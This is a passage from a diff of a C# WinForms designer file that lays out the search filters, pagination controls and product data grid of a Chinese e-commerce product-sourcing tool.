this.cmbSource.TabIndex = 4; + this.cmbSource.Text = "货源网"; + // + // cbiAll + // + this.cbiAll.Text = "不限"; + // + // cbiTaobao + // + this.cbiTaobao.Text = "淘宝"; + // + // cbiPingdd + // + this.cbiPingdd.Text = "拼多多"; + // + // cbi1688 + // + this.cbi1688.Text = "阿里巴巴"; + // + // cbiDy + // + this.cbiDy.Text = "抖音"; + // + // labelX45 + // + // + // + // + this.labelX45.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX45.Location = new System.Drawing.Point(211, 47); + this.labelX45.Name = "labelX45"; + this.labelX45.Size = new System.Drawing.Size(30, 23); + this.labelX45.TabIndex = 23; + this.labelX45.Text = "来源"; + // + // labelX47 + // + // + // + // + this.labelX47.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX47.Location = new System.Drawing.Point(185, 103); + this.labelX47.Name = "labelX47"; + this.labelX47.Size = new System.Drawing.Size(56, 23); + this.labelX47.TabIndex = 19; + this.labelX47.Text = "起止时间"; + // + // txtFisssionTitle + // + // + // + // + this.txtFisssionTitle.Border.Class = "TextBoxBorder"; + this.txtFisssionTitle.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtFisssionTitle.Location = new System.Drawing.Point(240, 19); + this.txtFisssionTitle.Name = "txtFisssionTitle"; + this.txtFisssionTitle.PreventEnterBeep = true; + this.txtFisssionTitle.Size = new System.Drawing.Size(220, 23); + this.txtFisssionTitle.TabIndex = 5; + // + // labelX23 + // + this.labelX23.AutoSize = true; + // + // + // + this.labelX23.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX23.Location = new System.Drawing.Point(197, 20); + this.labelX23.Name = "labelX23"; + this.labelX23.Size = new System.Drawing.Size(44, 20); + this.labelX23.TabIndex = 17; + this.labelX23.Text = "关键字"; + // + // txtSaleAmountMax + // + // + // + // + this.txtSaleAmountMax.Border.Class = "TextBoxBorder"; + this.txtSaleAmountMax.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtSaleAmountMax.Location = new System.Drawing.Point(105, 47); + this.txtSaleAmountMax.Name = "txtSaleAmountMax"; + this.txtSaleAmountMax.PreventEnterBeep = true; + this.txtSaleAmountMax.Size = new System.Drawing.Size(46, 23); + this.txtSaleAmountMax.TabIndex = 3; + this.txtSaleAmountMax.Text = "99999"; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(150, 50); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(20, 17); + this.label16.TabIndex = 14; + this.label16.Text = "个"; + // + // txtSaleAmountMin + // + // + // + // + this.txtSaleAmountMin.Border.Class = "TextBoxBorder"; + this.txtSaleAmountMin.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtSaleAmountMin.Location = new System.Drawing.Point(62, 47); + this.txtSaleAmountMin.Name = "txtSaleAmountMin"; + this.txtSaleAmountMin.PreventEnterBeep = true; + this.txtSaleAmountMin.Size = new System.Drawing.Size(33, 23); + this.txtSaleAmountMin.TabIndex = 2; + this.txtSaleAmountMin.Text = "0"; + // + // label19 + // + this.label19.AutoSize = true; + this.label19.Location = new System.Drawing.Point(151, 22); + this.label19.Name = "label19"; + this.label19.Size = new System.Drawing.Size(20, 17); + this.label19.TabIndex = 10; + this.label19.Text = "元"; + // + // txtPriceMax + // + // + // + // + this.txtPriceMax.Border.Class = "TextBoxBorder"; + this.txtPriceMax.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtPriceMax.Location = new System.Drawing.Point(105, 19); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.PreventEnterBeep = true; + this.txtPriceMax.Size = new System.Drawing.Size(46, 23); + this.txtPriceMax.TabIndex = 1; + this.txtPriceMax.Text = "99999"; + // + // txtPriceMin + // + // + // + // + this.txtPriceMin.Border.Class = "TextBoxBorder"; + this.txtPriceMin.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtPriceMin.Location = new System.Drawing.Point(62, 19); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.PreventEnterBeep = true; + this.txtPriceMin.Size = new System.Drawing.Size(33, 23); + this.txtPriceMin.TabIndex = 0; + this.txtPriceMin.Text = "0"; + // + // labelX24 + // + // + // + // + this.labelX24.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX24.Location = new System.Drawing.Point(8, 47); + this.labelX24.Name = "labelX24"; + this.labelX24.Size = new System.Drawing.Size(56, 23); + this.labelX24.TabIndex = 4; + this.labelX24.Text = "销量区间"; + // + // labelX25 + // + // + // + // + this.labelX25.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX25.Location = new System.Drawing.Point(8, 19); + this.labelX25.Name = "labelX25"; + this.labelX25.Size = new System.Drawing.Size(56, 23); + this.labelX25.TabIndex = 3; + this.labelX25.Text = "价格区间"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(474, 50); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(44, 17); + this.label1.TabIndex = 40; + this.label1.Text = "一级:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(474, 78); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(44, 17); + this.label2.TabIndex = 41; + this.label2.Text = "二级:"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(474, 106); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(44, 17); + this.label3.TabIndex = 42; + this.label3.Text = "三级:"; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(94, 50); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(13, 17); + this.label15.TabIndex = 16; + this.label15.Text = "-"; + // + // label20 + // + this.label20.AutoSize = true; + this.label20.Location = new System.Drawing.Point(94, 22); + this.label20.Name = "label20"; + this.label20.Size = new System.Drawing.Size(13, 17); + this.label20.TabIndex = 9; + this.label20.Text = "-"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(344, 106); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(13, 17); + this.label4.TabIndex = 65; + this.label4.Text = "-"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.chkNeedUpdate); + this.splitContainer2.Panel1.Controls.Add(this.chkDeleteUpDown); + this.splitContainer2.Panel1.Controls.Add(this.pbLoading); + this.splitContainer2.Panel1.Controls.Add(this.chkUpdateUpChange); + this.splitContainer2.Panel1.Controls.Add(this.superTabControl1); + this.splitContainer2.Panel1.Controls.Add(this.chkIsProxyIp); + this.splitContainer2.Panel1.Controls.Add(this.dgvFissionProduct); + this.splitContainer2.Panel1.Controls.Add(this.labelX48); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.chkAutoTurnPage); + this.splitContainer2.Panel2.Controls.Add(this.progressBarX1); + this.splitContainer2.Panel2.Controls.Add(this.btnGoTo); + this.splitContainer2.Panel2.Controls.Add(this.lblPrev); + this.splitContainer2.Panel2.Controls.Add(this.lblNext); + this.splitContainer2.Panel2.Controls.Add(this.cboxDisplayCount); + this.splitContainer2.Panel2.Controls.Add(this.labelX46); + this.splitContainer2.Panel2.Controls.Add(this.labelX43); + this.splitContainer2.Panel2.Controls.Add(this.txtCurrentPage); + this.splitContainer2.Panel2.Controls.Add(this.labelX42); + this.splitContainer2.Panel2.Controls.Add(this.lblTotalPage); + this.splitContainer2.Panel2.Controls.Add(this.labelX40); + this.splitContainer2.Panel2.Controls.Add(this.lblCurrentPage); + this.splitContainer2.Size = new System.Drawing.Size(1264, 332); + this.splitContainer2.SplitterDistance = 302; + this.splitContainer2.TabIndex = 0; + // + // chkNeedUpdate + // + this.chkNeedUpdate.AutoSize = true; + this.chkNeedUpdate.Location = new System.Drawing.Point(165, 150); + this.chkNeedUpdate.Name = "chkNeedUpdate"; + this.chkNeedUpdate.Size = new System.Drawing.Size(123, 21); + this.chkNeedUpdate.TabIndex = 57; + this.chkNeedUpdate.Text = "仅显示需更新商品"; + this.chkNeedUpdate.UseVisualStyleBackColor = true; + this.chkNeedUpdate.Visible = false; + this.chkNeedUpdate.CheckedChanged += new System.EventHandler(this.chkNeedUpdate_CheckedChanged); + // + // chkDeleteUpDown + // + this.chkDeleteUpDown.AutoSize = true; + this.chkDeleteUpDown.Location = new System.Drawing.Point(165, 123); + this.chkDeleteUpDown.Name = "chkDeleteUpDown"; + this.chkDeleteUpDown.Size = new System.Drawing.Size(147, 21); + this.chkDeleteUpDown.TabIndex = 9; + this.chkDeleteUpDown.Text = "校验删除总店下架商品"; + this.chkDeleteUpDown.UseVisualStyleBackColor = true; + this.chkDeleteUpDown.Visible = false; + this.chkDeleteUpDown.CheckedChanged += new System.EventHandler(this.chkDeleteUpDown_CheckedChanged); + // + // pbLoading + // + this.pbLoading.Anchor = System.Windows.Forms.AnchorStyles.Top; + this.pbLoading.Image = global::LittleRabbit.Properties.Resources.loading_blue; + this.pbLoading.Location = new System.Drawing.Point(596, 107); + this.pbLoading.Name = "pbLoading"; + this.pbLoading.Size = new System.Drawing.Size(72, 64); + this.pbLoading.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pbLoading.TabIndex = 49; + this.pbLoading.TabStop = false; + this.pbLoading.Visible = false; + // + // chkUpdateUpChange + // + this.chkUpdateUpChange.AutoSize = true; + this.chkUpdateUpChange.Location = new System.Drawing.Point(912, 203); + this.chkUpdateUpChange.Name = "chkUpdateUpChange"; + this.chkUpdateUpChange.Size = new System.Drawing.Size(147, 21); + this.chkUpdateUpChange.TabIndex = 10; + this.chkUpdateUpChange.Text = "校验更新规格变化商品"; + this.chkUpdateUpChange.UseVisualStyleBackColor = true; + this.chkUpdateUpChange.Visible = false; + this.chkUpdateUpChange.CheckedChanged += new System.EventHandler(this.chkUpdateUpChange_CheckedChanged); + // + // superTabControl1 + // + this.superTabControl1.BackColor = System.Drawing.Color.White; + // + // + // + // + // + // + this.superTabControl1.ControlBox.CloseBox.Name = ""; + // + // + // + this.superTabControl1.ControlBox.MenuBox.Name = ""; + this.superTabControl1.ControlBox.Name = ""; + this.superTabControl1.ControlBox.SubItems.AddRange(new DevComponents.DotNetBar.BaseItem[] { + this.superTabControl1.ControlBox.MenuBox, + this.superTabControl1.ControlBox.CloseBox}); + this.superTabControl1.ControlBox.Visible = false; + this.superTabControl1.Controls.Add(this.superTabControlPanel1); + this.superTabControl1.Controls.Add(this.superTabControlPanel2); + this.superTabControl1.FixedTabSize = new System.Drawing.Size(85, 18); + this.superTabControl1.ForeColor = System.Drawing.Color.Black; + this.superTabControl1.Location = new System.Drawing.Point(746, 36); + this.superTabControl1.Name = "superTabControl1"; + this.superTabControl1.ReorderTabsEnabled = true; + this.superTabControl1.SelectedTabFont = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold); + this.superTabControl1.SelectedTabIndex = 0; + this.superTabControl1.Size = new System.Drawing.Size(313, 125); + this.superTabControl1.TabFont = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.superTabControl1.TabIndex = 47; + this.superTabControl1.Tabs.AddRange(new DevComponents.DotNetBar.BaseItem[] { + this.superTabItem1, + this.superTabItem2}); + this.superTabControl1.TabStyle = DevComponents.DotNetBar.eSuperTabStyle.Office2010BackstageBlue; + this.superTabControl1.Text = "superTabControl1"; + this.superTabControl1.Visible = false; + // + // superTabControlPanel1 + // + this.superTabControlPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.superTabControlPanel1.Location = new System.Drawing.Point(0, 20); + this.superTabControlPanel1.Name = "superTabControlPanel1"; + this.superTabControlPanel1.Size = new System.Drawing.Size(313, 105); + this.superTabControlPanel1.TabIndex = 1; + this.superTabControlPanel1.TabItem = this.superTabItem1; + // + // superTabItem1 + // + this.superTabItem1.AttachedControl = this.superTabControlPanel1; + this.superTabItem1.GlobalItem = false; + this.superTabItem1.Name = "superTabItem1"; + this.superTabItem1.Text = "产品数据操作"; + // + // superTabControlPanel2 + // + this.superTabControlPanel2.Controls.Add(this.buttonX3); + this.superTabControlPanel2.Controls.Add(this.btnRestore); + this.superTabControlPanel2.Controls.Add(this.btnCpRecycleBin); + this.superTabControlPanel2.Controls.Add(this.buttonX5); + this.superTabControlPanel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.superTabControlPanel2.Location = new System.Drawing.Point(0, 20); + this.superTabControlPanel2.Name = "superTabControlPanel2"; + this.superTabControlPanel2.Size = new System.Drawing.Size(313, 105); + this.superTabControlPanel2.TabIndex = 0; + this.superTabControlPanel2.TabItem = this.superTabItem2; + // + // buttonX3 + // + this.buttonX3.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.buttonX3.Location = new System.Drawing.Point(15, 14); + this.buttonX3.Name = "buttonX3"; + this.buttonX3.Size = new System.Drawing.Size(75, 23); + this.buttonX3.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.buttonX3.TabIndex = 7; + this.buttonX3.Text = "清空参数"; + // + // btnRestore + // + this.btnRestore.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnRestore.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.btnRestore.Location = new System.Drawing.Point(110, 42); + this.btnRestore.Name = "btnRestore"; + this.btnRestore.Size = new System.Drawing.Size(75, 23); + this.btnRestore.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnRestore.TabIndex = 5; + this.btnRestore.Text = "恢复"; + // + // btnCpRecycleBin + // + this.btnCpRecycleBin.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnCpRecycleBin.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.btnCpRecycleBin.Location = new System.Drawing.Point(110, 14); + this.btnCpRecycleBin.Name = "btnCpRecycleBin"; + this.btnCpRecycleBin.Size = new System.Drawing.Size(75, 23); + this.btnCpRecycleBin.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnCpRecycleBin.TabIndex = 5; + this.btnCpRecycleBin.Text = "开始搜索"; + // + // buttonX5 + // + this.buttonX5.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.buttonX5.Location = new System.Drawing.Point(15, 42); + this.buttonX5.Name = "buttonX5"; + this.buttonX5.Size = new System.Drawing.Size(75, 23); + this.buttonX5.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.buttonX5.TabIndex = 6; + this.buttonX5.Text = "清空列表"; + // + // superTabItem2 + // + this.superTabItem2.AttachedControl = this.superTabControlPanel2; + this.superTabItem2.GlobalItem = false; + this.superTabItem2.Name = "superTabItem2"; + this.superTabItem2.Text = "产品回收站"; + this.superTabItem2.Visible = false; + // + // chkIsProxyIp + // + this.chkIsProxyIp.AutoSize = true; + this.chkIsProxyIp.Location = new System.Drawing.Point(889, 230); + this.chkIsProxyIp.Name = "chkIsProxyIp"; + this.chkIsProxyIp.Size = new System.Drawing.Size(170, 21); + this.chkIsProxyIp.TabIndex = 6; + this.chkIsProxyIp.Text = "校验上传商品时使用代理IP"; + this.chkIsProxyIp.UseVisualStyleBackColor = true; + this.chkIsProxyIp.Visible = false; + // + // dgvFissionProduct + // + this.dgvFissionProduct.AllowUserToAddRows = false; + this.dgvFissionProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.dgvFissionProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvFissionProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvFissionProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvFissionProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvFissionProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvFissionProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ColSelect, + this.ColId, + this.Title, + this.ColOriginalTitle, + this.OriginalId, + this.Price, + this.SaleAmount, + this.ColCategory, + this.ColFullCategory, + this.ColCategory1, + this.ColCategory2, + this.ColCategory3, + this.ColTitleNum, + this.ColUseCount, + this.ColDel, + this.ColReEdit, + this.colMessage, + this.ColSource, + this.ColSourceFake, + this.ColRkTime, + this.ColUpdateTime, + this.ColNeedUpdate}); + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvFissionProduct.DefaultCellStyle = dataGridViewCellStyle3; + this.dgvFissionProduct.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvFissionProduct.EnableHeadersVisualStyles = false; + this.dgvFissionProduct.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.dgvFissionProduct.Location = new System.Drawing.Point(4, 0); + this.dgvFissionProduct.Margin = new System.Windows.Forms.Padding(0); + this.dgvFissionProduct.Name = "dgvFissionProduct"; + this.dgvFissionProduct.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dgvFissionProduct.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.dgvFissionProduct.RowTemplate.Height = 23; + this.dgvFissionProduct.ShowCellErrors = false; + this.dgvFissionProduct.ShowRowErrors = false; + this.dgvFissionProduct.Size = new System.Drawing.Size(1256, 302); + this.dgvFissionProduct.TabIndex = 0; + this.dgvFissionProduct.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvFissionProduct_CellContentClick); + // + // labelX48 + // + // + // + // + this.labelX48.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX48.Location = new System.Drawing.Point(43, 121); + this.labelX48.Name = "labelX48"; + this.labelX48.Size = new System.Drawing.Size(56, 23); + this.labelX48.TabIndex = 19; + this.labelX48.Text = "结束时间"; + // + // chkAutoTurnPage + // + this.chkAutoTurnPage.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.chkAutoTurnPage.AutoSize = true; + this.chkAutoTurnPage.Location = new System.Drawing.Point(645, 1); + this.chkAutoTurnPage.Name = "chkAutoTurnPage"; + this.chkAutoTurnPage.Size = new System.Drawing.Size(111, 21); + this.chkAutoTurnPage.TabIndex = 58; + this.chkAutoTurnPage.Text = "校验时自动翻页"; + this.chkAutoTurnPage.UseVisualStyleBackColor = true; + // + // progressBarX1 + // + // + // + // + this.progressBarX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.progressBarX1.Location = new System.Drawing.Point(3, 0); + this.progressBarX1.Name = "progressBarX1"; + this.progressBarX1.Size = new System.Drawing.Size(248, 22); + this.progressBarX1.TabIndex = 40; + this.progressBarX1.Text = "progressBarX1"; + this.progressBarX1.Visible = false; + // + // btnGoTo + // + this.btnGoTo.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnGoTo.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGoTo.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnGoTo.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGoTo.Location = new System.Drawing.Point(1221, 1); + this.btnGoTo.Name = "btnGoTo"; + this.btnGoTo.Size = new System.Drawing.Size(39, 21); + this.btnGoTo.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnGoTo.TabIndex = 39; + this.btnGoTo.Text = "前往"; + this.btnGoTo.ThemeAware = true; + this.btnGoTo.Click += new System.EventHandler(this.btnGoTo_Click); + // + // lblPrev + // + this.lblPrev.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lblPrev.AutoSize = true; + // + // + // + this.lblPrev.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblPrev.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblPrev.ForeColor = System.Drawing.SystemColors.ControlText; + this.lblPrev.Location = new System.Drawing.Point(922, 1); + this.lblPrev.Name = "lblPrev"; + this.lblPrev.Size = new System.Drawing.Size(44, 20); + this.lblPrev.TabIndex = 29; + this.lblPrev.Text = "上一页"; + this.lblPrev.Click += new System.EventHandler(this.lblPrev_Click); + // + // lblNext + // + this.lblNext.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lblNext.AutoSize = true; + // + // + // + this.lblNext.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblNext.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblNext.Location = new System.Drawing.Point(1054, 1); + this.lblNext.Name = "lblNext"; + this.lblNext.Size = new System.Drawing.Size(44, 20); + this.lblNext.TabIndex = 30; + this.lblNext.Text = "下一页"; + this.lblNext.Click += new System.EventHandler(this.lblNext_Click); + // + // cboxDisplayCount + // + this.cboxDisplayCount.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cboxDisplayCount.DisplayMember = "Text"; + this.cboxDisplayCount.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cboxDisplayCount.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cboxDisplayCount.Font = new System.Drawing.Font("微软雅黑", 8.5F); + this.cboxDisplayCount.FormattingEnabled = true; + this.cboxDisplayCount.ItemHeight = 17; + this.cboxDisplayCount.Location = new System.Drawing.Point(860, 0); + this.cboxDisplayCount.Name = "cboxDisplayCount"; + this.cboxDisplayCount.Size = new System.Drawing.Size(50, 23); + this.cboxDisplayCount.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cboxDisplayCount.TabIndex = 38; + // + // labelX46 + // + this.labelX46.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.labelX46.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX46.ForeColor = System.Drawing.SystemColors.ControlText; + this.labelX46.Location = new System.Drawing.Point(769, 2); + this.labelX46.Name = "labelX46"; + this.labelX46.Size = new System.Drawing.Size(95, 18); + this.labelX46.TabIndex = 37; + this.labelX46.Text = "每页显示条数:"; + this.labelX46.TextAlignment = System.Drawing.StringAlignment.Far; + // + // labelX43 + // + this.labelX43.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.labelX43.AutoSize = true; + // + // + // + this.labelX43.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX43.Location = new System.Drawing.Point(1202, 1); + this.labelX43.Name = "labelX43"; + this.labelX43.Size = new System.Drawing.Size(19, 20); + this.labelX43.TabIndex = 36; + this.labelX43.Text = "页"; + // + // txtCurrentPage + // + this.txtCurrentPage.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtCurrentPage.Border.Class = "TextBoxBorder"; + this.txtCurrentPage.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtCurrentPage.Font = new System.Drawing.Font("微软雅黑", 8.5F); + this.txtCurrentPage.Location = new System.Drawing.Point(1163, 0); + this.txtCurrentPage.Name = "txtCurrentPage"; + this.txtCurrentPage.PreventEnterBeep = true; + this.txtCurrentPage.Size = new System.Drawing.Size(33, 22); + this.txtCurrentPage.TabIndex = 33; + this.txtCurrentPage.Text = "1"; + this.txtCurrentPage.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + // + // labelX42 + // + this.labelX42.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.labelX42.AutoSize = true; + // + // + // + this.labelX42.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX42.Location = new System.Drawing.Point(1108, 1); + this.labelX42.Name = "labelX42"; + this.labelX42.Size = new System.Drawing.Size(56, 20); + this.labelX42.TabIndex = 35; + this.labelX42.Text = "跳转到第"; + // + // lblTotalPage + // + this.lblTotalPage.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.lblTotalPage.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblTotalPage.Location = new System.Drawing.Point(1019, 2); + this.lblTotalPage.Name = "lblTotalPage"; + this.lblTotalPage.Size = new System.Drawing.Size(38, 18); + this.lblTotalPage.TabIndex = 34; + this.lblTotalPage.Text = "1"; + // + // labelX40 + // + this.labelX40.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.labelX40.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX40.Location = new System.Drawing.Point(1003, 2); + this.labelX40.Name = "labelX40"; + this.labelX40.Size = new System.Drawing.Size(10, 18); + this.labelX40.TabIndex = 32; + this.labelX40.Text = "/"; + // + // lblCurrentPage + // + this.lblCurrentPage.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.lblCurrentPage.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblCurrentPage.Location = new System.Drawing.Point(960, 2); + this.lblCurrentPage.Name = "lblCurrentPage"; + this.lblCurrentPage.Size = new System.Drawing.Size(38, 18); + this.lblCurrentPage.TabIndex = 31; + this.lblCurrentPage.Text = "1"; + this.lblCurrentPage.TextAlignment = System.Drawing.StringAlignment.Far; + // + // ColSelect + // + this.ColSelect.HeaderText = "选"; + this.ColSelect.Name = "ColSelect"; + this.ColSelect.ReadOnly = true; + this.ColSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ColSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.ColSelect.Width = 40; + // + // ColId + // + this.ColId.HeaderText = "ID"; + this.ColId.Name = "ColId"; + this.ColId.ReadOnly = true; + this.ColId.Visible = false; + // + // Title + // + this.Title.HeaderText = "标题"; + this.Title.Name = "Title"; + this.Title.ReadOnly = true; + this.Title.Width = 120; + // + // ColOriginalTitle + // + this.ColOriginalTitle.HeaderText = "原始标题"; + this.ColOriginalTitle.Name = "ColOriginalTitle"; + this.ColOriginalTitle.ReadOnly = true; + this.ColOriginalTitle.Width = 120; + // + // OriginalId + // + 